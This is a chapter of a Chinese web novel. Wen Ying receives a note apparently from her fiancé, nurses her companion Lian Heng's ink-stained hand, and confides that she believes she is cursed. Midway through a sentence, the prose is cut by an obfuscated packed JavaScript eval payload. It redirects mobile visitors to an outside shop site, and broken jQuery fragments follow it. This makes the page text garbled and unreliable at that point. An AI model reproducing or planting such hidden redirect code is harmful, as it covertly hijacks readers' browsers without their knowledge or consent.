门开了,外面却空无一人。
正要关上门,闻瑛突然瞥见地上多出来的东西,浑身立马紧绷起来。
“这是什么?”崔桃从她手臂下钻出来,俯身拿起被石头压住的纸条,“余?这个字是余吗?闻姐姐。”
“给我看看。”闻瑛颤着接过纸条,仔仔细细看了好几遍,“是,是余。”
不仅是余大哥的余。
这上面也是余大哥的字迹。
纸面散发出淡淡墨香,想来应该是刚写下没多久:“瑛娘,见字如面。我已平安脱险,如今在邻县落脚。七日后凌晨,在余府相见。我来接你。珍重。”
最末尾是一个小小的余字。
虽然只有短短几句话,但闻瑛看完之后,小心翼翼将纸条叠好,贴身收了起来。
“闻姐姐,你认识写这个字条的人?”崔桃的声音从耳边传来。
闻瑛回过神,笑着点了点头:“是,这是我未婚夫……”
说到一半,她突然反应过来。
连忙改了口,在后面又加上了“好友”二字。
“原来是连哥哥的好友。”崔桃丝毫没有怀疑,“那为什么要这样神秘,连个面都不肯露!”
“嗯……”闻瑛也这样想,嘴上却说,“可能不太方便吧。”
“哦哦。”崔桃没继续追问,换了个话题,“那他是来接应你们出去的吧?”
“是。”说到这个,闻瑛不由弯起眼,“他是来接我们离开的。”
“既然有人接应,我也就放心了。”崔桃拍了拍胸口,“闻姐姐,外面查的那样紧,我知晓你是怕连累我们。”
“是,毕竟你和赵婆婆还要在这里生活,我们早走一日,你们便能早安全一日。”
收到了余大哥的回信,闻瑛仿佛吃下了一颗定心丸。言语之间,也不再似先前那般遮掩。
“哎。”崔桃低下头,“我和奶奶也没帮上你们多少……”
“不要这样想。”她拍拍崔桃的肩,“小桃儿,你的心意我都感受到了。”
就见崔桃愣了下,旋即扑到她怀里哭起来。闻瑛身子一僵,到底没把人推开,绷着手臂轻拍着小姑娘的后背。
“不哭不哭。”
“哎呀,都哭成小花猫了!”
……
哄了大半天,结果不仅没把人哄好,反倒哭得更厉害了。
连衡回来时,看到的就是香香软软的小师娘身上缠了个哭哭啼啼的臭丫头。那臭丫头还时不时叫一声“姐姐”。
“小师——”连衡快步走过去把崔桃提溜下来,同时还警告了句,“你别压着我瑛姐姐了。”
“我没……”崔桃抬头,对上连衡的眼睛,立马缩了缩脖子,吸着鼻子默默闪到一边去了。
“小衡?你终于回来了。”闻瑛没顾上看连衡的脸色,连忙从怀里拿出纸条,“这是余大哥的消息,你快看看。”
“余大哥?”连衡挑挑眉,接了过去,转眼就还给了她,“我看完了,姐姐。”
“外面现在是什么情况了?”闻瑛眼巴巴看着他,“要是方便,我们就先过去等着余大哥。”
“能走。”连衡眸色沉了沉,“有条路上没有官兵,我们可以从那边绕到余府。”
“这真是太好了。”她看了眼天色,“那我们这就走吧。”
这会虽是白天,但太阳已经被乌云遮起来了,黑压压的一片,感觉很快就会落下雨来。等会要是下了雨,路就不好走了。
“好。”连衡径直就要去屋里拿包袱出来。没走几步,厨房里的赵婆婆突然走出来。
“闻姑娘、连公子,饭马上就好了。”赵婆婆手里还拿着锅铲,“要不你们吃过午饭再走吧。”
“是啊是啊。”角落里的崔桃凑过来,“昨天匆忙,都没有好好招待你们,你们就吃了饭再走吧。我奶奶手艺真的特别特别好!”
盛情难却,加上闻瑛的确饿了。
还有厨房里不断飘散的浓郁香气,她终是……不忍让老人家失望。
午饭比之前几顿饭菜都要丰盛。
有豆腐鱼汤,烧鹅,凉拌小鱼干,煮虾,还有几个青菜。一看就是用了心的。
“小桃儿,给我吧。”闻瑛连忙拿起大勺子,“我来舀鱼汤。”
不等崔桃说话,闻瑛已经舀出四碗鱼汤,挨着往每个人面前端。只是走到连衡旁边时,她脚下突然一滑,直直朝后倒去。
滚烫的鱼汤洒了一地。
碗噼里啪啦碎成了好多好多片。
而闻瑛被连衡稳稳接住。
毫发无损,安然无恙。
“姐姐没事吧?”连衡关切地目光落在她脸上。闻瑛耳根烫得厉害,连呼吸都乱了节奏。
“我、我……”闻瑛眼神飘忽,扶着他站到地上,“我没事。”
一旁的崔桃和赵婆婆也反应过来,问了问两人受没受伤。又赶紧拿来盆拿帕子,扫地的扫地,擦地的擦地。
也是这会,闻瑛注意到连衡指尖有块皮肤上好像沾了什么东西。
“小衡,你的手是不是受伤了?”
“没有。”
“给我看看。”她不由分说拉过连衡的手,“你瞧瞧这是什么?这血的颜色都黑了,还嘴硬。”
前些日子他手上那些小伤口还没好,眼下又弄来个这样大的。这双手跟着他,可真是遭了罪了!
“赵婆婆,小桃儿,小衡的手破了,我先带他到院子里舀水洗洗。”她拽着连衡就往外走。
连衡却一反从前顺从的姿态。
灵活地把手抽了回去。
“小衡?”闻瑛皱起眉。
“瑛姐姐,我没什么事。”连衡悄然背起手,“先吃饭吧,一会饭都凉了。”
“不行,刚刚的鱼汤那么烫,溅到手上可了不得。”她上前去拉他,“听话,去用凉水冲一下,很快就好。”
但她的手却被不着痕迹地躲开了,闻瑛眼底染上些许愠色。
“小衡,你——”
“好,那我自己去。”连衡抬头看着她,“姐姐去帮赵婆婆和崔姑娘吧,这点小伤,我一个人就够了。”
说罢,连衡扭头就到了院子里的水缸旁,舀了一瓢水,弯下身子洗手。
见他真在老老实实冲洗伤口,闻瑛也冷静了不少。回头瞧见赵婆婆和崔桃还在忙,赶快走了过去。
此时,无人注意的水缸旁。
那人的手指早已被搓到红肿,原本乌黑的墨痕,现在几乎淡到
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17786737|210198||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
只剩下一个浅浅的印子。
等闻瑛忙完,回头瞥见连衡还在水缸边上,急急跑了过去。
“手都红了,快别洗了小衡!”她一把夺下水瓢,扔回水缸里,“哎呀,你真是,真是……”
闻瑛问赵婆婆要了绷带,把连衡的手指缠了起来。刚缠上,洁白的绷带上渗出几个红色的小血点。
“吃饭,先吃饭吧。”闻瑛扭过头,轻轻叹了一口,“过几天就好了。”
不等连衡反应,他碗里就多了就快外酥里嫩的烧鹅。闻瑛自责的声音同时在耳边响起。
“多吃点,多吃点好得快。”
她脸快埋进碗里了。
却还不忘给连衡夹菜。
也许那个算命的道士没说错。
所有靠近她的人都会不幸。她生来便是不祥之人,不仅克父克母克夫,现在连小衡都受她连累。
强撑着笑脸吃完这顿饭,闻瑛跟着连衡离开了赵婆婆家。
一路上,闻瑛情绪始终低落。
明明用不了多久就能见到余大哥了,但她心里的喜悦却被冲散了大半。
万一,她是说万一余大哥也被她所累……
直到顺利抵达余府,连衡终是忍不住开了口:“小师娘,你在想什么?”
“在想你师父。”闻瑛没有思考便脱口而出,说完才觉得有些不妥,“我是在想你师父到底遇上什么麻烦了,怎么连面都不能露。”
“我师父啊。”连衡眯了眯眼,“等见了小师娘问问不就都知道了。”
她点点头,仍是一副心不在焉的样子。好一会,才低声问:“小衡,在你心里……我是个什么样的人?”
“什么样的人?”他目光悄然落在闻瑛单薄的肩上,抿了抿唇,“善良正直,勇敢聪慧。”
“我有这样好吗?”闻瑛诧异抬起眼,不可思议看着他。
“是,小师娘远比我说的还要好。”连衡微微扬起唇,“但我说不出更多的了。”
“那你有没有觉得……”她深吸一口气,“觉得我是一个不吉祥的人?”
“不吉祥?”连衡挑起眉毛看着她,“那是什么意思?我不是很明白。”
“就是靠近我就会靠近天底下所有的不幸。”闻瑛仰起脸,“永无宁日啊。”
天黑了,清冷的月光洒落在大地上,风里夹着淡淡的海水腥气。挂在门口的贝壳风铃上面落了一层灰,随风舞动,发出阵阵清脆声响。
“原来你是这样想的。”连衡盯着她侧脸,“那这些年……你一直都这样想吗?”
“是啊。”闻瑛叹息,“从前我不信命,但现在我开始信了。”
“先是我爹娘,再是余大哥。现在,连你也受我连累。或许我当初的决定就是个错误,我不该为了报恩对余大哥以身相许。”
“小衡,如果我们这次能够顺利离开,你就走吧。你还年轻,去找你喜欢的那个姑娘,过你该过的日子。”
夜雨突然落下,淅淅沥沥回荡在空旷的余府之中。天上的月亮被乌云遮住,连一丝光都没有了。
连衡的声音夹在呼啸的风中。
密如鼓点的雨点像是伴奏。
“那你呢?你要去哪里?还要继续……报恩吗?”